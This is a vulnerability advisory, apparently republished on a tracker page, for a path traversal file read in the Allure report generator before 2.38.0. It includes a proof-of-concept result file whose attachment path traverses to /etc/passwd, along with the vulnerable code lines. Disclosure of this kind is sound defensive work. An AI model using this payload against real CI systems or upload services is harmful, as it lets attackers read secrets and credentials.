Allure Report has an Arbitrary File Read via Path Traversal in Attachment Processing (Allure 1, Allure 2, and XCTest Readers)
Summary
The Allure report generator is vulnerable to an arbitrary file read via path traversal when processing test results. An attacker can craft a malicious result file (-result.json, -container.json, or .plist) that points an attachment source to a sensitive file on the host system. During report generation, Allure will resolve these paths and include the sensitive files in the final report.
Details
The vulnerability exists in several plugins where attachment paths are resolved using unvalidated user input. The code uses Path.resolve() without normalizing the path or checking if the resulting file remains within the intended results directory.
Affected Files and Lines:
Allure2Plugin.java (Line 264): final Path attachmentFile = source.resolve(attachment.getSource());
Allure1Plugin.java (Line 328): final Path attachmentFile = source.resolve(attachment.getSource());
XcTestPlugin.java (Line 181): attachments.resolve(String.format("Screenshot_%s.%s", uuid, ext))
Since resolve() allows absolute paths or ../ sequences to escape the base directory, any file readable by the process can be exfiltrated.
PoC
-
Create a directory named allure-results.
-
Create a file malicious-result.json inside it:
{
"uuid": "poc-traversal",
"name": "Path Traversal PoC",
"status": "passed",
"attachments": [
{
"name": "Sensitive Data",
"source": "../../../../../../../../../../../etc/passwd",
"type": "text/plain"
}
]
}
-
run
allure generate allure-results -o allure-report -
The content of
/etc/passwdwill now be present inallure-report/data/attachments/.
Impact
This is a High Severity vulnerability. In CI/CD environments (GitHub Actions, Jenkins), an attacker submitting a Pull Request can exfiltrate server secrets, cloud credentials, or environment configuration files stored on the runner disk. It also may affect custom Allure web services where users can upload results, allowing them to read arbitrary files from the server's filesystem. Allure TestOps is not affected.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Java / Kotlin (Maven) | io.qameta.allure:allure-generator | < 2.38.0 | 2.38.0 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N- Debilidad (CWE)
CWE-22- Plataforma
- Java / Kotlin (Maven)
- Paquete
io.qameta.allure:allure-generator- Publicada
- 18.03.2026
- Actualizado
- 11.10.2026 12:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-64hm-gfwq-jppw - CC BY 4.0
Historial de vulnerabilidades: io.qameta.allure:allure-generator
Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 03.2026 06.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 1
- Media 1
Divulgaciones por año
- 2026: 2
-
Allure Report has an Arbitrary File Read via Path Traversal in Attachment Processing (Allure 1, Allure 2, and XCTest Readers) esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.